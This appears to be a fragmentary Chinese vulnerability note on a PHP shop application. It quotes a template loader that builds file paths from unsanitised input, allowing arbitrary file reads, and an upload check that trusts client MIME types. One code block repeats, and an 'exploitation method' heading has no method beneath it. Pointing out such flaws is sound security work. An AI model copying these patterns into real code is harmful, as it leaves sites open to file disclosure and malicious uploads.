//template_edit.php
function load_library($curr_template, $lib_name)
{
    $lib_name = str_replace("0xa", '', $lib_name); // 过滤 0xa 非法字符
    if($lib_name == 'style')
    {
        $lib_file    = '../templates/user_themes/' . $curr_template . '/'.$lib_name.'.css';
    }
    else
    {
        $lib_file    = '../templates/user_themes/' . $curr_template . '/'.$lib_name.'.html';
    }
    $arr['html'] = str_replace("\xEF\xBB\xBF", '', file_get_contents($lib_file));

    return $arr;
}

    严格说不应该算是包含。只是获取。条件如下:

//template_edit.php
function load_library($curr_template, $lib_name)
{
    $lib_name = str_replace("0xa", '', $lib_name); // 过滤 0xa 非法字符
    if($lib_name == 'style')
    {
        $lib_file    = '../templates/user_themes/' . $curr_template . '/'.$lib_name.'.css';
    }
    else
    {
        $lib_file    = '../templates/user_themes/' . $curr_template . '/'.$lib_name.'.html';
    }
    $arr['html'] = str_replace("\xEF\xBB\xBF", '', file_get_contents($lib_file));

    return $arr;
}

    利用方法:

// cls_image.php
// 部分代码
    var $error_no    = 0;
    var $error_msg   = '';
    var $images_dir  = 'images';
    var $data_dir    = 'data';
    var $bgcolor     = '';
    var $type_maping = array(1 => 'image/gif', 2 => 'image/jpeg', 3 => 'image/png',4 =>'text/plain',5 => 'application/x-zip-compressed',6 => 'image/pjpeg',7=>'application/octet-stream',8=>'image/x-png',9=> 'application/msword');
//略
   function check_file_type($img_type) {
        return $img_type == 'image/pjpeg' ||
               $img_type == 'image/x-png' ||
               $img_type == 'image/png'   ||
               $img_type == 'image/gif'   ||
               $img_type == 'image/jpeg'  ||
               $img_type == 'text/plain'  ||
               $img_type == 'application/x-zip-compressed' || 
               $img_type == 'application/x-shockwave-flash' ||
               $img_type == 'application/octet-stream'  ||
               $img_type == 'application/msword';
    }

    function check_img_type($img_type)
    {
        return $img_type == 'image/pjpeg' ||
               $img_type == 'image/x-png' ||
               $img_type == 'image/png'   ||
               $img_type == 'image/gif'   ||
               $img_type == 'application/x-shockwave-flash' ||
               $img_type == 'image/jpeg'  ;
    }
//略 

    这种验证不太好吧。。。
